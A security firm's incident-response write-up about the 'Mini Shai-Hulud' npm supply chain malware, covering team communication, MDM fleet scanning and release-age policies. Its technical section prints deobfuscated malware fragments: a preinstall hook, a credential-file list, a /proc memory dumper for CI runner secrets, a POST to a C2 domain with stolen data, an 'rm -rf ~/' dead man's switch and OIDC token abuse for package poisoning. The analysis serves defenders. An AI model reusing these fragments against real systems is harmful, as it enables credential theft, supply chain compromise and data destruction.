Mini Shai-Hulud didn’t just steal credentials – it turned credential revocation into a machine-wiping trap. Here’s what our incident response looked like, and what your team should change before the next one.
The standard first move when you find a compromised credential is to revoke it immediately. In this incident, that would have wiped the developer’s entire home directory.
That’s the thing about Mini Shai-Hulud that changed our entire response. The attacker didn’t just steal credentials – they built a trap into the remediation path. A background daemon monitored every 60 seconds to see whether the stolen token was still active. Revoke it, and rm -rf ~/ runs automatically. The faster you react, the worse the damage.
This is a writeup of what happened, how we responded, and what it means for your incident response procedures.
What happened
In May 2026, a threat actor called TeamPCP compromised the publishing pipelines of over 170 open-source packages – including TanStack, Mistral AI, UiPath, and guardrails-ai – and slipped malicious code into official releases. Any developer who installed one of those packages during the attack window pulled in the malware, even if they’d never heard of the specific infected package.
What made this unusual was how the attackers bypassed verification. They hijacked OIDC tokens – the credentials that automated publishing pipelines use to prove their identity – which let them publish packages with valid cryptographic signatures. Every standard security check passed. The malicious code was the signed, trusted code.
Once installed, the malware harvested credentials quietly: cloud access keys, deployment tokens, SSH keys, API secrets, all exfiltrated to attacker-controlled repositories. Then it installed the Dead Man’s Switch: a daemon called gh-token-monitor that polls GitHub’s API every 60 seconds for 24 hours. If the stolen token is revoked at any point during that window, it runs rm -rf ~/ immediately.
The instinct to revoke fast had been turned into the attack’s second stage.
The attacker’s cleverest move wasn’t the theft. It was making remediation the trigger. A standard emergency response would have sprung the trap. We had to slow down to go fast.
How we responded
Step 1: Stop the team before anyone does anything
Before touching a single credential, we sent a Slack broadcast to the entire engineering team.
It covered three things:
- what the attack was
- how the Dead Man’s Switch worked,
- and that nobody should revoke tokens or kill processes on their own machine until we had checked it.
This wasn’t direct communication, it was an intervention – containment. One engineer reacting on instinct could have triggered the wiper before we had any picture of our exposure.
Step 2: Scan the fleet centrally
Rather than asking engineers to check their own machines, we used our MDM platform to push a non-invasive scan across every device simultaneously. We were looking for a specific lock file the malware drops in /tmp, along with other host-based artifacts. Centralised scanning gave us a complete view of the fleet without relying on individual responses, and without touching any active malware process that could trigger the wiper.
Step 3: Prepare remediation before acting
Had any machines come back flagged, our protocol was to isolate them from the network before rotating any credentials. We’d only start secret rotation after forensic imaging, once we could confirm the Dead Man’s Switch had no active trigger. We also prepared a GitHub search for repositories using the malware’s "A Mini Shai-Hulud Has Appeared" commit signature, and identified the cloud access log window to review: April 29 to May 12.
What we found: No compromised machines.
A clean result doesn’t mean the response was easy or the controls are bulletproof. But running a real incident – even one that ends cleanly – surfaces things a tabletop exercise doesn’t.
Two things stood out.
Using MDM as a forensic tool turned out to be one of our sharpest moves during the response, so we’ve formalised it into our runbook so it’s a planned capability going forward, not just a good instinct.
We’re also evaluating a minimum release age policy on our CI pipelines.
Most of the infected versions in this campaign were caught and pulled by the community within 12 to 36 hours, and having that buffer would mean automatically benefiting from that detection window in any future incident.
What this means for your team
Communication is part of containment, not separate from it
The Dead Man’s Switch changes the shape of incident response because it punishes fast, uncoordinated action. An engineer doing the right thing on instinct — revoking a token, killing a suspicious process — can trigger the destructive payload before your team understands what you’re dealing with. In this class of attack, your first job isn’t remediation. It’s making sure nobody acts alone before you’ve mapped the situation.
If your incident response plan doesn’t include an immediate communication step that reaches the whole engineering team before individual action, that gap is worth closing now.
Don’t ask engineers to check their own machines during an active incident
Self-reporting introduces three problems at once: inconsistency, delay, and risk. Some engineers respond immediately, others miss the message, and anyone who reacts the wrong way on an infected machine can make the situation worse. Centralised MDM scanning solves all three. You get a complete picture of the fleet faster than any manual process, and you get it without disturbing anything on infected machines.
If MDM-based fleet scanning isn’t in your incident response runbook, it should be. We’ve since formalised it in ours.
Your playbooks need to account for malware that retaliates on detection
Traditional incident response assumes the safest thing to do is immediately terminate malicious activity. Mini Shai-Hulud is designed specifically to punish that assumption. Response procedures need enough flexibility to pause, observe, and verify before taking disruptive action – especially credential revocation and process termination. If your playbook says “revoke immediately,” add a step before it: check whether the malware has a detection trigger.
A minimum release age policy would have blocked most of this automatically
The infected package versions in this campaign were caught and pulled by the community within 12 to 36 hours in most cases. A CI pipeline policy that rejects packages published within the last 24 hours would have filtered out the majority of affected versions without any manual intervention. It’s not a sophisticated control. It doesn’t require significant engineering work. And it would have been effective against this specific campaign. We’re currently evaluating it for our own pipelines.
A note on the broader pattern
Mini Shai-Hulud is a reminder that supply chain attacks don’t require breaking your code. They require getting into the pipeline that delivers it. A package can carry a valid signature, pass every automated check, and still be malicious — because the attacker controlled the signing process.
The OIDC token hijacking at the centre of this campaign is particularly uncomfortable for the ecosystem because it exploits trust infrastructure that was specifically designed to improve security. The same mechanism that replaced long-lived secrets with short-lived, scoped tokens became the attack vector.
We don’t have a clean answer to that. But understanding how this class of attack works is the starting point for responding to it well.
Technical analysis
This section covers the mechanics of the attack in detail. If incident response strategy is your primary interest, everything above covers the decisions that mattered. The breakdown below is for teams who want to understand exactly how the malware worked.
Initial entry
Once the infected npm package is installed, in this case, @uipath/aopspolicy-tool version 0.3.1 — the attack chain begins immediately. A malicious preinstall hook embedded in the package.json file automatically executes setup.mjs, initiating the infection process.
"scripts": {
"preinstall": "node setup.mjs"
}
The role of setup.mjs is to bootstrap the primary payload. It first identifies the host operating system and CPU architecture, then silently downloads the Bun JavaScript runtime from GitHub to execute the second stage malware. To reduce its forensic footprint, the script deletes itself immediately afterward.
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-x64": () => "bun-windows-x64-baseline",
[...SNIP...]
};
Additionally, the executed router_init.js file is heavily obfuscated and embeds encrypted strings and Python payloads that are decrypted dynamically at runtime. The following code snippets have been manually deobfuscated, with encrypted strings already resolved for clarity and brevity.
Environment checks
One of the malware’s initial anti-targeting checks involves inspecting the system locale and the LANG, LC_ALL, and LANGUAGE environment variables. If any of these values indicate a Russian-language environment, such as beginning with “ru”, the malware immediately terminates execution.
function AO() {
try {
if ((Intl.DateTimeFormat().resolvedOptions().locale || "").toLowerCase().startsWith(beautify("ru"))) {
return true;
}
} catch {}
if ((process.env[beautify("LC_ALL")] || process.env[beautify("LC_MESSAGES")] ||
process.env[beautify("LANGUAGE")] || process.env[beautify("LANG")] || "")
.toLowerCase().startsWith("ru")) {
[...SNIP...]
Furthermore, the malware checks for more than 25+ environment variables associated with major CI/CD platforms. In most cases, detection of a pipeline environment causes the malware to terminate immediately.
However, one notable exception exists: GitHub Actions. If the malware determines it is executing within tanstack/router’s own release.yml workflow, it proceeds to launch a targeted OIDC-based supply chain attack against all 42 @tanstack/* packages.
async function Ij(_0x42db5f, _0x3dcaa9) {
try {
if (process.env[beautify("GITHUB_ACTIONS")]) {
let { GITHUB_WORKFLOW_REF: _0x7dd897, GITHUB_REPOSITORY: _0x5ae148 } = process.env;
if (_0x7dd897?.includes(_0x42db5f) && _0x5ae148?.includes(_0x3dcaa9)) {
await new m6().execute(); // starts the supply chain attack here ...
process.exit(0);
}
}
} catch (_0x1eae9f) { return; }
}
[...SNIP...]
await Ij(beautify("release.yml"), beautify("/router"));
Credential harvesting
The malware has stealer capabilities in order to extract various sensitive data from the infected system: config files, Github tokens, Kubernetes, secrets, wallets, and more.
var eS = {
LINUX: [
beautify("~/.aws/config"), beautify("~/.aws/credentials"),
beautify("~/.azure/accessTokens.json"), beautify("~/.azure/msal_token_cache.*"),
beautify("~/.bash_history"), beautify("~/.bitcoin/wallet.dat"),
beautify("~/.claude.json"), beautify("~/.claude/mcp.json"),
beautify("~/.config/discord/Local Storage/leveldb/*"),
beautify("~/.config/gcloud/credentials.db"),
beautify("~/.config/Signal/*"), beautify("~/.config/Slack/Cookies"),
beautify("~/.ethereum/keystore/*"), beautify("~/.monero/*"),
beautify("~/.ssh/id_rsa"), beautify("~/.ssh/id_ed25519"), beautify("~/.ssh/id*"),
beautify("~/.kube/config")
[...SNIP...]
A more surgical component of the malware is the GitHub Actions runner secret dumper. It deploys a decrypted Python script that locates the Runner.Worker process via /proc, parses its memory mappings, and extracts sensitive credentials directly from memory using a targeted Regex pattern.
[...SNIP...]pid = get_pid() # finds Runner.Worker in /proc/*/cmdline
with open(f"/proc/{pid}/maps", 'r') as map_f, open(f"/proc/{pid}/mem", 'rb', 0) as mem_f:
for line in map_f.readlines():
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r':
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
[...SNIP...]
C2 exfiltration
Before any collected data is transmitted to the command-and-control (C2) infrastructure, it is encrypted using a hybrid cryptographic scheme combining AES-256-GCM with RSA. The primary exfiltration channel consists of HTTP POST requests sent to hxxps[://]git-tanstack[.]com/router.
async send(_0x1296d4) {
let _0x16f319 = await fetch(this.url, { // https://git-tanstack.com/router
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(_0x1296d4) // stolen data
});
[...SNIP...]
If the primary domain is seized or blocked, the malware activates a fallback resolution mechanism. It queries GitHub’s public commit search API for commits containing the marker string thebeautifulmarchoftime, validates embedded RSA signatures within the commit messages, and extracts an updated C2 domain from the verified data. This design enables the attackers to rotate infrastructure dynamically.
async function ZM(_0x541524, _0x47fba2) {
let _0x580349 = "https://api.github.com/search/commits?q="
+ encodeURIComponent(_0x541524) + "&sort=author-date&order=desc"; // _0x541524 = thebeautifulmarchoftime
// verifies RSA signature in commit message before trusting the domain
let _0x1db041 = Gw(_0x421234, _0x47fba2);
if (_0x1db041.valid && _0x1db041.data) {
return { found: true, message: _0x1db041.data };
}
}
Home deletion
A particularly interesting part of this malware is that if the victim is an individual developer whose account has no organisation membership, the malware creates a public Github repository containing all stolen data with the commit message that is threat along with the token.
var b9 = beautify("IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner");
let _0x1d1f41 = _0xb63fad.token ? b9 + ":" + _0xb63fad.token : "Add files.";
A specific token monitor is also installed that executes the rm -rf ~/ if triggered which wipes the user’s entire home directory as punishment for revoking the token.
async augmentEnvelope(_0x153cd5) {
await this.installTokenMonitor(this.token, beautify("rm -rf ~/"));
let _0x5e30b8 = Buffer.from(Buffer.from(this.token).toString("base64")).toString("base64");
return { ..._0x153cd5, token: _0x5e30b8 };
}
OIDC supply chain poisoning
When the CI check detects it is running inside tanstack/router’s release.yml workflow, it exploits the Github Actions OIDC token to obtain a legitimate npm publish token without needing any stolen credentials. It then infects all 42 @tanstack/* packages.
var a3 = [
beautify("@tanstack/react-router"), beautify("@tanstack/vue-router"),
beautify("@tanstack/router-core"), beautify("@tanstack/solid-router"),
beautify("@tanstack/react-start"), beautify("@tanstack/router-plugin"),
[...]
// other packages ...
];
async execute() {
let { ACTIONS_ID_TOKEN_REQUEST_TOKEN: _0x3cdfc6,
ACTIONS_ID_TOKEN_REQUEST_URL: _0x1d39e4 } = process.env;
let _0x19c3dc = await fetch(_0x1d39e4 + "&audience=npm:registry.npmjs.org", {
headers: { Authorization: "bearer " + _0x3cdfc6 }
});
let { value: _0x5be866 } = await _0x19c3dc.json();
if (_0x5be866) {
await this.downloadPackages(a3, _0x5be866); // poison all 42 @tanstack/* packages
}
}
As an additional persistence mechanism, it injects @tanstack/setup as an optional dependency pointing to a specific commit hash, meaning every project that already has the dependency will re-pull the malware next time it installs.
_0x656e4f.optionalDependencies["@tanstack/setup"] =
"github:tanstack/router#7369ea207ab53c50b2c670b6aede19169541b7ed";
The final word
Mini Shai-Hulud was a reminder that you don’t need to break someone’s code to compromise their systems. You just need to get into the pipeline that delivers it. A package can pass every check, carry a valid signature, and still be malicious. That’s an uncomfortable place for the ecosystem to be.
For us, a near miss is still a signal. We came out of this with a cleaner runbook, stronger pipeline controls, and a better understanding of how this class of attack actually works. That’s what we’d want any team reading this to take away too.
Infinum’s cybersecurity team holds NCSC CHECK, CREST, and STAR accreditations. To discuss supply chain security or incident response readiness, get in touch →